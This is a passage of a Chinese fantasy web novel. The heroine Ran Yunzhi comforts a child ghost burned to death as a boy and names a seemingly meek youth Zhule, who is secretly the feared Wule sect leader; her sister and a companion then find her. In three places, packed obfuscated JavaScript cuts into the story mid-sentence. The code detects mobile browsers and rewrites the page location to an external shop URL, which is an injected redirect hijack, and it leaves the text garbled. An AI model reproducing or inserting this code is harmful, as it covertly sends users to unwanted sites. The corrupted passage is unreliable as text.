“烧死他,他是不祥之人!” “就是因为他,我丈夫出门捕猎再也没有回来,这一切全都发生在这个孩子出生之后!” 百姓们愤怒的声音举着火把,绑在柱子上的六岁孩童哭泣着,在他的脚下,已经堆积了干净的稻草,只要点燃火把,这个孩子顷刻间会被大火吞噬。 “不,我不是!”小小的孩童眼睛已经哭肿了,撕心裂肺的摇着头哭喊,“阿爹,我不是!” 他的哭喊换不回站在面前的男人一丁点的怜悯,仿佛被绑在这里的是再寻常不过的一个死物,冉云祉看到这个男人不带任何感情的下令:“点火。” 最亲近的人没有救他,甚至成为了杀死他的刽子手。顷刻之间,孩童便被漫天的大火吞噬,唯有他挣扎的神色,绝望的哭声回响在天地间。 “不要!”冉云祉出声阻止,可是当她想要触碰到孩童的时候,景色又迅速回到这场大雨里。 暴雨还在下着,婴灵脸上的笑容接近透明。 什么是真,什么是假,她几乎要分不清。 “这是我的记忆,我就是这样死掉的。”婴灵抬头看看这场大雨,又诡异的笑起来,仿佛在说一件与自己并不相干的事情。 他也许是在父母的期许里降生在这个世界上,可这样的日子在记忆里从未有过,他被认定为给村子里带来不祥之人的妖孽,将所有的一切推到他身上,在那天成为了亡灵死去。 “或许,他们说的是对的。我是个不祥之人,死后执念不散,终究成了吞噬灵魂的妖怪,没有人会喜欢我。”他的笑容显得凄然悲怆,“姐姐,如果那个时候,我能遇到像你一样将我护在身后的人就好了。” 眼前的这个少年的灵魂,与他同样伤痕累累,破碎污浊不堪。他以为他们是同类,可是却在最后的关头,突然出现了一个女子,就这样把他护了起来。 那种感觉,应该很温暖吧?如果那时候也有一个人这样护住他,他是不是就不会变成今天这个样子了?是不是就不会怀着怨念继续活在这个世界上了? 为什么他得不到这样的温暖呢?为什么吞掉那么多孤独的灵魂他还是觉得孤独? “如果你愿意,我也可以将你护在身后,我……可以做你的姐姐。” 他微微一愣。 女子的视线时不时瞥过他的脚,那天,他死去之前,那双脚就是这样被火活生生烧掉了。 被火烧的感觉真的很疼,他闭上眼睛的时候仿佛还能闻到肉被烧时弥漫的味道,几乎要把他的肉身融化…… 谁来,谁来救他? 可是眼前的每一个人,都在叫嚣着让他去死。 “其实,我刚才就想问你,你这双脚,疼不疼啊?” 这场大雨嘈杂,所有的一切都模糊不清了,他却第一次听到了世界上最美妙的声音。 -- “你们是怎么做事的!一堆人看不住一个二小姐!”清云山庄的正殿内,冉言淮负手走了好几圈,才停下来吼了一声,将桌上的杯子扫在了地上。 杯子掉在地上四分五裂,跪在殿中的丫鬟身体抖了一抖。 无乐门主虽然负了伤,凭他的性子不会轻易放手,却突然失去了消息,而阿祉却在这个时候失踪,他难免不往最差的结果去想。 无乐门主那个疯子,为了拿到灵泉玉,指不定会用什么手段。自己的女儿如果丧命,那整个清云山庄将会与无乐门不死不休。 “要你们何用!”他发起怒来,瞪着地下跪着的人。 冉云清上前拦住冉言淮,拍着他的背轻声劝慰:“阿祉会没事的,兴许是她贪玩,我们赶紧把她找回来便是。” 冉言淮的气稍微顺了些,拉住冉云清的手:“阿清,一定要找回你的妹妹。” 他的夫人这些年生下双生子后,身体一直不好,近日回了娘家休养,要是让冉夫人知道自己女儿出事,一定会痛骂他一顿,她一把年纪,不能承受失去女儿的痛苦。 更何况这些年冉云清一直留在灵泾山,将来也是要游走天下,光耀门楣,而膝下只有冉云祉一个女儿。 “老爷……小姐临走前,问了一次周公子家住哪里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233257|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”小丫鬟哆哆嗦嗦的,不敢抬头,“所以……小姐可能去找周公子了……” 冉言淮愣在原地,片刻后深吸了一口气,指着那小丫鬟:“所以……阿祉和那个小王八蛋……私奔了!” -- “阿嚏!”冉云祉一连打了好几个喷嚏,裹着厚厚的被子,一连喝了好几杯水才稍微觉得回到了人间。 谁知道灵泉玉可以治百病,却治不了一个小小的风寒?她晕倒在暴雨里,还是这人把她背了回来,要不是他忙前忙后,她恐怕要在暴雨里凄然死掉。 人都救了,又提出跟着她,带回去清云山庄养着,应该也能养的起。最重要的是,少年真的很乖。 “那就跟着我吧,不怕死就行。”她朝着他微微一笑,脸红扑扑的。 被她夸奖的少年手足无措地愣在原地,端着茶杯,悄悄的看了她一眼,轻声挤出几个字:“你真的要留下我?你……不会骗我?” 他记得冉云祉刚刚告诉他:“你愿意跟着我的话,先说好,小命没了可不要怪我。” “你要什么没什么,有什么好骗的?”冉云祉摊开手,不遗余力地给无乐门主抹黑,恐吓他,“我也告诉过你了,我身边很危险,有个大魔头一直想杀我。那个魔头又老又丑,烧杀抢掠,无恶不作,要是落在他手里,我估计要被他折磨死了。而且,像我这样漂亮的女人他一点都不懂得怜香惜玉,说不定他对你这样漂亮的少年有非分之想,你要想好真的愿意跟着我?” 又老又丑?对男人有非分之想? 少年好看的眉头微微蹙起,垂眸,看起来真的像在斟酌。 “那个魔……魔头,真的会这样?”他有些不相信的样子。 冉云祉白了他一眼,“我骗你干什么?”她打量着少年,此刻他的伤已经被灵泉玉治疗了大半,换上了一件白色里衣,勾勒出少年纤细漂亮的身材,“你这细腰长腿,长的比女人还妖娆,落到他手里……你以为还能活着走出来?” “……”少年似乎有些无语。 片刻后,冉云祉听到少年一声:“好可怕,那……你会保护我吗?” 他恳求的目光让她总是回想起路边遇到的小猫小狗,给了一点吃食就把她记住,想着跟她回家,可是她却不敢给他们任何承诺。对她来说,少年和这些小动物是一样的。 “不会,他要是抓了你,我铁定抛下你撒腿就跑。”自己都保护不了,哪还能保护他?更何况,她这条小命还差点折在魔头手里。 他看上去有点失落,但还是轻声笑着:“没关系,我想跟着你。我不怕。” 婴灵一直趴在床头,晃荡着两个空荡荡的小腿,撑着下巴专注的看她。 少年似乎看不到婴灵的存在,寻常人是应该看不到妖怪的,从始自终也没有感觉到刚才经历过一场生死。 在他的视角里,冉云祉从雨幕里飞奔过去抱着他,对着空气说了一大堆乱七八糟的话,给他治好了身上的伤口后,又栽倒在大雨里。 “对了,我叫冉云祉,你呢,你叫什么名字?”既然决定收留他,自然要关心一下他的事。 他沉默了一会,才慢慢说:“我没有名字。” 冉云祉飞快的打量他几眼:“你长这么大……没有名字?” 他点点头,看上去有些难为情:“我一直都是一个人生活的,所以……” 冉云祉与婴灵的视线对上,婴灵耸耸肩,抓着冉云祉的胳膊甜甜的撒了个娇:“我告诉过姐姐了嘛,他是个没人要的孩子,我不会说谎的。” “姐姐,你要不还是考虑下我吧?” 7.婴灵(三) 冉云祉没有回答婴灵的话,她目前不想对少年透露妖怪的存在,尽管在雨幕中她说了“妖怪”一词,可是少年看上去呆呆的,并没有问她这件事。 她清了清嗓子,试探着问:“你不介意的话?我帮你取一个?” “好。”他没有异议,似乎并没有想过名字之于他的意义。 名字是生灵之间最初的一条牵绊,由此引出之后的故事。但冉云祉取名的水平实在不好,无论什么名字,看起来都无法与少年相配。 人与小动物终究是不一样的,若是她取得不好,心里总有一种亵渎他这张脸的感觉。 外面的大雨还在下,窗外时不时划过一抹亮光,屋内点了几根蜡烛,散发着这屋里唯一的温暖。冉云祉苦恼的抓抓脑袋,渐渐有些头晕目眩。 “容我想想,你先回房休息吧。”她的脸色有些苍白,实在不怎么好看。 少年看了看她,抿着嘴沉默地往门口走,等到他要走到门口时,冉云祉突然出声:“哦对了,我让小二给你买了一身衣服放到你房间了,回头你试一下,看看合不合身。” 他应了一声,退了出去。 屋里只剩下她与婴灵了,她重新缩回被子里将自己裹成一个茧。婴灵翻了一个身,两只脚荡在黑暗里,声音不情不愿地问她:“姐姐,你对那个人也太好了吧?” “我也让小二帮你买了一件。”冉云祉的鼻音越来越重。 “我说真的,姐姐还是只养我吧,我比他好养多了,而且,我也比那个人乖,比他强。” “当然养你。”冉云祉轻笑,摸了摸他的头,然而她的手却只是穿过他的身体。她从被子里抬起头来:“天色晚了,小孩子赶紧去睡觉吧。” “我不睡,我要守着姐姐。”婴灵执着地守着她,看到她闭上眼睛,似乎累极了,声音才渐渐地小了下去。 -- 少年回到房间时,屋内还点着光。里外打扫的干干净净,摆放整齐的床铺上叠着几件衣服。 窗户外响起了一声极其轻微的响动,他只是扫视了一眼,便默不作声的来到窗前打开了窗户。 狂乱的雨点似乎一下子找到了一个温暖的光源,一齐冲进这个房间。淋窗的床铺溅了几滴雨水,伴着狂风卷上了他身上单薄的中衣,可他并未觉得冷。 他曾经见识过比这冷的千百倍的东西,区区一场雨,无足轻重。 之前穿在身上破烂的衣物被雨打湿了,这还是那个女人强行要他换上这身讨厌的白色中衣。 她说白色称他,可笑。 不多时,一个全身黑衣的男子出现在窗外走廊上,那人并没有抬头几乎是瞬间跪在地上回话:“门主,先前那两个人已经解决了。” 他不就是想着引出婴灵,却被两个人打了一顿,那两个蠢货还敢教训他。断手断脚,魂归西天,算是便宜他们了。 少年的脸上突然闪过一丝阴戾的笑容,但并未说什么,取了一缕头发在手中绕着圈。 “门主,那个女人,要不要也杀了?”黑衣人开口询问。 他顿了顿,脑中浮现那个女人睡在隔壁病恹恹的模样。那样脆弱的小家伙,淋个雨就病成那样,弄死她轻而易举。 有很多事情他还没有想清楚,为什么神物会选中这样一个普通的女人,她又是怎么在自己的剑下活了下来,自从这个女人出现,他每一次前往清云山庄都会被发现打成重伤。 重点是,在最后的关头,他竟然杀不了那个女人…… 他从来没有在哪里失过手,在这个女人手上是第一次。 想起她今天说的话来…… 说他又老又丑,还有龙阳之好? 他勾唇泛起一丝轻蔑的冷笑。有意思。 面具带的久了,就忘记了面具下的那张脸长什么样子。 昔日嚣张跋扈的清云山庄二小姐,竟然会在那种妖物手里救下看似手无寸铁的他,还用灵泉玉为他疗伤。 多管闲事,虚伪至极。 想到那纤细脆弱的生命,手掌下拼命跳动的血管,只要他再用点力气,她就会悄无声息消失在那个雨夜。 他倒是很想看看那个人脱下这伪善的面具是一副怎样恶心的嘴脸。 “你在教我做事?”他终于开口,声音不似白日那般柔软无害,而是带着不容抗拒的威压,比外面的雷雨还要可怖,“你知道我的规矩。” 平静的不能再平等的语调,像是一道催命符,黑衣人下一秒就变了脸色。 无乐门的规矩,门主命令为上,多言者,死路一条。 但今天,黑衣人还有活着的价值。他只是冷冷吩咐着:“去外面守着,还有……”他用枝条挑起床头放着的衣服,扔给那人,“重新买一套和这些一样的衣服,要快。” 等到黑衣人的身影消失在雨夜,他才像没事人一样关上了窗,端了一盆水,开始里里外外揉搓被那个女人碰到的地方。他没有回头,却对着空气开了口:“看够了吗?看够了就出去。” 婴灵飘到了他的面前,一下子坐在他的床边,与刚才破破烂烂不同的是,他换上了一身粉色的的绸缎锦衣,趁得他的小脸愈发的粉嫩可爱:“奇怪啊,你看起来是个手无缚鸡之力的人类,身上也没有妖气,为什么也能看到我?” 他眨着乌溜溜的眼睛,一只手撑着下巴好奇的打量他。 “你的灵魂很肮脏,你不是个好人吧?” “刚刚你跟那个人说了什么?他是谁?” “你是不是想对姐姐出手?” 婴灵一个问题接一个问题的问出,而他始终没有没有回应,一如既往当婴灵不存在,他的肌肤在他毫不留情的大力揉搓下泛着红,可他好似浑然不觉。 “你是为了灵泉玉而来?” 直到婴灵问到关于灵泉玉的事情,他终于舍得给了点反应,却是抬头警告地看了婴灵一眼。 “那是我的东西,敢动灵泉玉,我会让你消失。” 柔弱纯净的脸却说出如此阴毒凶狠的话,眼神像刀刃一般射出冷冽寒光,婴灵莫名感觉到一股生命受到威胁的恐慌。 妖怪小小的脑袋里自然参不透人心的复杂,他虽然活了很久,可是本体仍然是个孩子,遇到他下意识缩了一缩。 少年收回浑身的戾气,淡淡的瞥了婴灵身上的衣服,几乎是从鼻音里冷哼出一声:“一件衣服而已。” 一件衣服而已,妄图用这点小恩小惠让他感激涕零? “你来找我做什么?” 婴灵这才想起他来到这里的目的,可是他一个人没办法,外面那些人看不到他,他只能来求助这个看上去并不友善的大哥哥。 “姐姐她病了,她身上好烫。”婴灵甚至急的要哭出来。 他讥讽的笑了,与他何干?病死了正合他的心意。 一场雨罢了,这么弱,熬不过去还省的他动手。 婴灵看他不为所动,甚至看起来好像还很兴奋的样子,鼓起勇气问他:“姐姐对你这么好,你不管她吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240183|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“想我管她?”他忽而想到了什么,恶劣一笑,向着婴灵招了招手,声音依旧没什么感情,“既然你那么喜欢她,不如与我做个交易?” -- 她感到浑身冰冷。 又来到了无边的黑暗之处,她对于突如其来的黑暗早已经习惯。路的尽头,带着银狼面具的男人站在那无声的望着她。 他的四周皆是大片大片的冰川,他仿佛在这里呆了上百年,连嘴唇都几乎苍白到透明。 无乐门主他不怕自己冻成冰块吗? 她明明应该害怕的,拼命告诉自己一定要远离无乐门主,可是自己的脚却不受控制一步步向着那个魔头走近。魔头脸上的表情温柔……就像是,对眼前的她有着深深的爱恋。 这太不对劲了,他怎么会露出这种表情?不对,她明明只能看到他的面具,为什么能清楚地看清他的表情? 奇怪的事情还不止这一点,那个魔头,竟温顺的依偎在她身边,虽然他的脸上还是盖着面具,但眉目间似乎与面具的冷毫不相干。 “无乐,你是一个很好的人。”冉云祉开口了。 “……”无乐门主张了张口,可是她听不到他在说什么。 她脸上的笑容如春风般绽开,一点点融化了这里的寒冰:“……无乐你呀,平安喜乐,顺遂无忧。” 她像置身在两个世界里,一会像置身在冰窟里,一会像被架在火上烤,辨不清身在何方。无乐门主的嘴巴一张一合,他的话被风雪掩盖住,什么也听不到,只有刺骨的冷麻痹了她的一切感知。 “阿祉,阿祉……” 有人在喊她,她浑浑噩噩从混沌中睁开眼睛,对上一双红着眼兜着泪的眼睛。 “你发烧了。”窗外的雨已经停了,少年小心地将一块毛巾覆盖在她的额头,手指轻巧的触碰到她,冰凉的触感让她一下子回响起梦中那冰的温度。 她的神智恢复了一点,看了他半晌,双手捂住了脸。 梦里,她说那个魔头是个好人?希望那个魔头长命百岁?她是疯了吧?一定是自己烧糊涂了。不不不,那个人一定不是她。 灵泉玉好是好,可她发现每次灵泉玉释放能量保护她之后,便会进入休养期吸收她身上的能量补充自身,反应到她身上便是突如其来的高烧。 屋内的蜡烛燃了许久,在烛台里只剩下短短一节,他起身重新换了一根新的蜡烛点燃,又端起桌子上的碗来到她面前:“我熬了药,你喝了再睡吧。” 冉云祉在少年的搀扶下起了身,他眼神平静地小心喂给她汤药,烛光在他身旁跳跃着,她的心也跟着回暖过来。 喝着药,冉云祉猛然灵光一闪,伸手将他拿着汤药的手放在一边:“我想到了,给你的名字。” “叫你逐乐好不好?”火苗映照在她眼睛里,衬得她的眼睛愈发明亮,比夜晚的星子还要亮上几分。 他恍惚了一瞬,旋即有些不自然地问:“是哪两个字?” “我写给你吧。”冉云祉兴奋地拉过他的手,他似乎有些不自然地想抽回去,可是鬼使神差的想这女人能想出什么字来。 冉云祉迅速起笔一横,却行至半路顿住了,抬眸看了看面前的少年,他很乖的维持着原先的姿势,任她妄为。 余光里,除了他还有别的什么。 是破开黑暗,融化冰晶的温暖的,明亮的一点。 而后,她的横向右下角一点,重新在他的手上郑重缓慢地写下两个字—— 烛乐。 8.婴灵(四) 她写下的两个字是烛乐。 “不知道那个魔头发生了什么,我感觉不到他没有任何关于未来的希望,好像随时要与世界同归于尽。”她手心的肌肤滚烫,带来他从未感受过的温度,烫的他的手指缩了缩。 他的眼睛睁大了,告诉自己不能受她支配,可是身体却不受控制的抽不回手。 “开心这种东西,不用刻意追寻,本就源于自身。你之前也一定经历了很多不好的事情吧?”她想起婴灵说的话,心里漫上一抹心疼,“没关系,都过去了,未来你的人生,一定敞亮温暖。” 就像最最不起眼的烛火,亦能照亮一整个雨夜。 平安喜乐,顺遂无忧。 “怎样?”冉云祉有些紧张的问他。 他盯着自己的手心,上面空无一物,可是刚才有人在他手心里写下了两个字,那抹灼热的感觉至今还未彻底褪去。 敞亮温暖?他的人生,从来没有一刻是明亮的。那些温暖,自始至终都没有属于过他。 “这个名字真好,我很喜欢。”他露出了一个微笑,看到面前女人因他这句话而雀跃,他又几不可察地露出了一个冷笑。 名字对于他来说,从来都是无用的东西,他连之前的名字都可以丢弃,也根本不会对这个名字有什么留念。 姑且暂用而已。他想。 第二天,冉云祉大病初遇,穿戴好衣服后推开门,正巧门外刚想要敲门的烛乐撞了个正着。 烛乐愣了愣,放下手臂:“你还烫吗?” “我好了。”冉云祉活动了一下手腕,仔细地看着这个一大早在房门外等她起床的少年。 刻意收拾整洁的他,褪下灰布褂子,换上了昨日买来的白色新衣。面容清秀无害,漆黑如墨的头发用发带一丝不苟的束成半扎马尾,平添多少少年意气。 如果再刻意打扮,身上的衣料饰品贵重些,说是哪家出来的小公子也不为过。 这才是褪去污浊的他,像是遗留在世间的一颗珍珠,被她洗涤后初现原本的光华。 “烛乐,你穿白色真的很好看!”翩翩公子,温润如玉,说的就是他这样的人。 烛乐只是淡淡的笑,置若罔闻,从怀里小心地掏出一个纸包,递到她面前。 那是几个刚出锅的包子,被他用纸包装了,一直放在怀里,还冒着些许热气。 “小二还没起来,他怕你饿着,特意一大早去买了包子,又巴巴地蹲在外面等你。”一身粉衣的婴灵不知道从哪里飘出来,神情有些奇怪。 是啊,怨灵在白天时灵力虚弱,神态不怎么好。 冉云祉的眼神太过直白,看得烛乐手足无措地站在那。 “我脸上有东西吗?”他很小心的问,“如果你不想吃包子,我还买了粥,听说发热的人胃口不是很好。” 怎么有这么可爱的人?她的心情大好,捏了捏他的脸轻轻笑了一声:“烛乐,没有人说过你长的比小姑娘还好看吗?” “你这样的小郎君走出门去,若是遇上了无乐门主那个魔头该怎么好?”宋清婉打趣道。 如果说她穿越选的时机不怎么友好,可是大街上随便一捡就捡到了这么一个标致的少年郎,她的运气还算得上不错。 下了一场雨,似乎浇灭了昨日的酷暑。 婴灵躲在屋子里,小小的身影接近透明。 他身为怨灵,只能在雨夜中现身,不能见日光,他也很想跟着她离开,可维持到现在几乎是他用尽了全身的力气。所以这一场短暂的相识,他们注定要在这里分开。 “你们妖和我们人有不同的生存法则,过去的你可能做了不好的事。只是以后能不能不要伤害无辜的孩子,未来那么长,他们也会遇到喜欢他们的人呢。” 冉云祉在他面前蹲下身来,“我相信那个时候,你的父母一定会难过,很想保护你,可是他们没有办法。没有父母不爱孩子。” 婴灵低着头,抿着嘴唇摇摇头:“姐姐,我已经不在意了,我答应你不会再伤人就是了。” 他抬起头,阳光丝丝缕缕的照射到他的脸上,让他的身躯也接近透明,大概是他最后一次见到这么好的天了吧。 烛乐抱着肩膀,站在不近不远的地方,有些失神,在婴灵看过来的瞬间,似笑非笑地回望,甚至轻蔑的勾起嘴角。 婴灵知道烛乐能听到他们现在所说的话,那副表情就是在警告他:“不该说的别说,你知道后果。” 人类只能看到事物的表相,只能看到那副好看的皮囊,可是他这样的怨灵,渐渐生出阴阳眼,却能透过皮囊看到人的灵魂。 世间灵魂多是纯净的白色,经过一些污浊不堪的事情带了怨气慢慢沾染上黑色,那些孩童多为如此,所以他会吞掉这些怨念的灵魂。 冉云祉的灵魂是罕见的暖玉色,奇特明亮,像柔和的光线一般让他忍不住靠近。可是那个哥哥……他仅仅剩下豆大点的白光,周边却被无边的黑暗笼罩。本能告诉他,或许他根本不是那人的对手。 察觉到婴灵的视线,冉云祉向身后看了一眼,烛乐在她转头的瞬间乖乖站好,脸上的表情如冰雪融化般柔和,无辜的望着她。 “好了,我这就走了。”冉云祉说,“我的家住在清云山庄,你要是想来找我,就去那里,我有机会下山的话,也会来看你。” 如果她之后还能在这个世界的话。 “好。”婴灵点点头,恋恋不舍,又提了一个要求,“姐姐,你能不能牵一下我的手?” 因为灵泉玉的存在,婴灵不能接近冉云祉。他成为怨灵活了几百年,与漫长的黑暗融为一体,几乎忘却了小时候温暖是什么感觉。 “不会伤到你吗?”冉云祉有些担忧。 “没关系。”婴灵解释,“灵泉玉也有灵识,如今我对姐姐没有恶意,它不会伤我。” “原来还有这样的用法。” 冉云祉恍然大悟,轻轻虚握住了婴灵小小的手心。 他没有实体,但他却能感受到来自这个人身上的温暖,同样都是带来温暖的存在,那场大火带给他的痛苦盖过了那抹已经模糊不清的来自于母亲的温度,如今她的暖又把大火的痛苦模糊掉了。 “好温暖。”阳光之下,他露出了一个天真的笑容,又张开手臂抱了她一下。 而后他退回了阴影之下,向她挥挥小手:“姐姐,再见,保重。” “……再见。”她一步三回头,还能看到婴灵在树下久久的凝视着她。 妖怪和人类一样,有血有肉,虽然他是怨念中诞生的孩童,可能执念就是寻找让他温暖的存在吧。 可是…… 婴灵刚刚牵起她手的时候,悄悄的在她手心写下了两个字。 小心。 是在担心她吗?她百思不得其解。 “怎么了?” 烛乐看着她缓缓走过来笑着问,那副笑容像刻在脸上的面具一样死板,只是让怀着心事的她忽略了。 “没什么,我们出发吧。” 她不会透露婴灵的存在,自然不会将婴灵的嘱托告诉他。另外,她还没有忘记此行的目的。 暴雨冲刷后碧空如洗,空气都清新了不少,远处的山峦延伸着一片绿意,树叶落在地上投下一片片阴影。相比昨日,摆摊的商贩,路上的行人也多了起来。 “老伯,跟您打听个事呗,您知道附近有周姓人家吗?”她停在卖糖水的摊位前,向面前的老伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253267|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打听。 老伯上了年纪,头发花白,眼球混浊,耳力不是特别好:“姑娘你说什么?” “我说,这附近,姓周人家。”她手握成喇叭状,无奈的重复了关键字。 老伯似乎终于听明白了,挠了挠已经变得稀疏的头发,笑的脸上的褶子都出来了。 “姑娘,我父亲不姓朱。” 她是在怎样期待的心情下听到了这样一句话?这是今天她问的第三个人了,年轻人大多都没有听过周姓。上了年纪的人,年长者又像这样听不懂她的话。 她叹了口气,决定放弃沟通,又拉过一个过往的行人继续问。 身旁不知何时多了一个人,原来是烛乐去而复返,他好像心情很好的样子,与她的沮丧形成了鲜明的对比。 “你找到那个东西了?”冉云祉说,“你怎么这么马虎,重要的东西要放好。” 烛乐跟着她行至半路,突然对她说有东西落在了酒楼要回去找一下,于是这段路她特意放慢了速度,没想到他回来的这么快。 他的回答出乎意料的快,带着斩钉截铁的愉悦:“嗯,这个东西不会再丢了。” 他不再谈这个,歪着头似乎想了很久,最后不解地问:“你不回家,你找周姓人家做什么?” “哦。”冉云祉随便扯了个谎,“他有东西落在我那里了,我想看看能不能还给他。” 从虞美人那里听来的信息也不多,她这次出来,随便找找碰碰运气,同时她也有八卦的心理,就想看看让花妖牵挂的人长什么样子。 “对了,你在这里长大的吧?你有没有听过……”她突然想起没有问这个土生土长的少年,然而烛乐摇了摇头,“我是外地人,刚到这里半个月。” 冉云祉不免失望:“好吧。” 眼看她又扯过一个行人打听,烛乐黑漆漆的眸子泛出浅浅的疑惑。 从他掌握的情报来看,清云山庄二小姐嚣张跋扈,抢人东西从来没有归还的道理,另外,清云庄主怎么放心让她一个人出来? 他们在外面住了一宿,也没有发现周围有人跟着她的痕迹。 偷跑出来的? 他在思考的时候,冉云祉垂头丧气的回到他身边,连着脚下的步子都沉重了。烛乐轻声问:“阿祉,你不是说有魔头在追杀你,你不怕他发现你吗?” 这个时候,她不应该乖乖的呆在清云山庄当一个缩头乌龟,竟还有闲心满大街跑? 冉云祉伸出一根手指神秘兮兮地说:“烛乐,你没有听过一句话?最危险的地方就是最安全的地方。魔头认为我缩在清云山庄不敢出来,肯定在算计怎么潜入山庄。哪知道我已经偷偷跑下了山呢,我这叫揣摩他的心理,明白吗?” “……他的心理是怎样的?”烛乐觉得有趣,很想听听这脆弱的小家伙会怎么分析他。 “他想要的东西没到手,心理肯定不服气,再加上我骂了他,他肯定恨我恨的牙痒痒。”冉云祉无聊的踢着路上的小石子,“按照他的性格,我猜,下次见到我的话,肯定不由分说送我上西天。” 她说这话的时候又有点惆怅:“所以,横竖都是死,还不如遇到他之前,把想做的事都做了,多苟一天是一天。” 她在那场车祸来临后意识到生命何其脆弱,她还有那么多想实现的理想,如今全部成了遗憾,所以她更珍惜这里的每一天,只要多活一天,那都是赚的。 烛乐没说话,他的眼睛眯着,又不知道在打什么鬼主意。 脚下的石子被她踢了一路,直到撞到了什么后,在空气中跳了几下,以一个奇怪的姿势回到她脚下。 弹到人了。 她抬头,在看清面前人的瞬间愣在了原地。 9.糖画(一) 四个人站在那里,神态各异。 冉云祉欲哭无泪,好想撒腿就跑。要不要这么凑巧啊,下山第二天就被冉云清和戴苍捉了个现行。 “阿祉,你知不知道外面有多危险!我们找了你一天一夜,父亲都要急疯了!” 冉云清三两步走上前拉过她的手仔细查看她一番,见她没什么事才放下心来,但还是板着一张漂亮的脸教导,“无乐门主最近不知所踪,万一他正好在山下,发现你怎么办!” 美人生起气来也是格外的赏心悦目。 冉云祉打哈哈回应着:“没事,那个魔头年纪大了,那榆木脑袋都在盘算上山捉我,估计想不到我在山下呢。” 这句话引来戴苍诧异的眼神:“年纪大?二小姐见过他真正的样子?” “那老东西说话声音那么难听,就跟被树皮磨了嗓子,一听就是一个上了年纪的糟老头子。还带着面具不敢见人,估计是丑的自己都看不下去了。” 她说的信誓旦旦,仿佛真的亲眼见过他那丑陋不堪的面貌一样。 想起他那粗糙沙哑的声音,脑补了一场因为他太丑而被世界孤立愤而毁灭世界的剧情,冉云祉还是对自己的判断很自信。 反正魔头又听不见,她自然不遗余力地诋毁。没想到魔头不仅听见了,面上不动声色,还饶有兴趣地看了她一眼。 他心想,她果然不简单,这已经是第二次当着他的面造谣了。 冉云祉莫名感觉浑身一僵,回头时烛乐的目光已经不着痕迹的从她身上移开。 “二小姐没有行走过江湖,大概是不知道江湖中没有人见过无乐门主的真面目。师父曾经说过,五十年前遇到无乐门主的时候,他就已经是那个声音了。” 五十年前? 冉云祉惊掉了下巴:“那老东西到底多少岁了?” “门主只是一个代称而已。”戴苍失笑,向着这位养在深闺不问江湖事的大小姐解释,“从无乐门建立开始,经过了几代门主,各任门主的名字,门派的祖训是什么,外人皆不知晓,你听到的那个苍老的声音,或许是门主特有的规矩都说不定呢。” 实际上,无乐门是一个神秘的门派,多少人想要毁灭无乐门不成反遭无乐门报复。无乐门何时创立,现任门主是谁,他如今多少年岁,是老人,少年亦或是女人都无从知晓。 但有一点,无乐门主心眼极小,睚眦必报,各门派就算恨不得让他彻底消失,却没有一个人敢轻易对他出手。 若非必要,最好不要轻易去招惹他。真正与他撕破脸的,清云山庄是第一个,冉云祉是第二个,像戴苍这样与他交过手的人姑且不算。 两相对比,冉云祉如此率真,那些门派满口仁义道德,相较之下是何其虚伪。 他正说着话,目光落在冉云祉身旁的烛乐身上,原本放松的神情忽然凝重下来,微微挑了挑眉:“这位是?” “他叫烛乐,是我……”在介绍他们的关系的时候,冉云祉犯了难。 是朋友?但还没有到那个程度。捡到的?那也太难听了,虽然他跟着她,但她也没有将他当成下人对待。 大概是目光太过锐利,烛乐的脸渐渐变得苍白,慢慢垂下头,轻声道:“她是我的救命恩人,我无以为报,唯有一条命,跟在她身侧尽全力偿还。” 他的声音虽小,却显得掷地有声,好像真的把这一条命都交给了。 两人肃然起敬,边走边打量着这个少年,一边听着冉云祉细细说起他们相识的缘由。 “看起来没什么问题……”戴苍一手支着下巴,露出了淡淡的笑容。 烛乐狭长的眼睛下垂,他长着一张精致谦恭的脸,身量却柔弱高挑,一身素雅的白衣衬得他整个人像是兔子一样柔弱无害,看起来没有什么攻击性。 “阿祉,如今你的处境何其危险,怎么能随便答应人带在身侧。”冉云清摇摇头,将冉云祉不动声色的护到自己身后,并不赞同她的做法。 他们走在路上,一路上有不少行人频频回望,有胆大的女孩子款款迎面而来,向着戴苍露出一个羞涩温柔的笑容。 “小女子可否有幸得知公子的名讳?”在他们四人中,唯有戴苍喜欢穿张扬色彩的服饰,美的格外突出。今日他穿了一身绯色长袍,犹如牡丹一般艳丽柔美,光彩照人。 戴苍没有微微一笑,他笑起来的时候,眉眼风流,没有一个女子能够抵挡,那女子飘飘然,一颗心都要为之倾倒。 一个男人怎么能比女子还妖艳,冉云祉心里小小的花痴了一下。 只是他说出来的话,却足以让人家姑娘的一颗芳心破碎:“姑娘还是算了吧,在下已有心悦之人。” 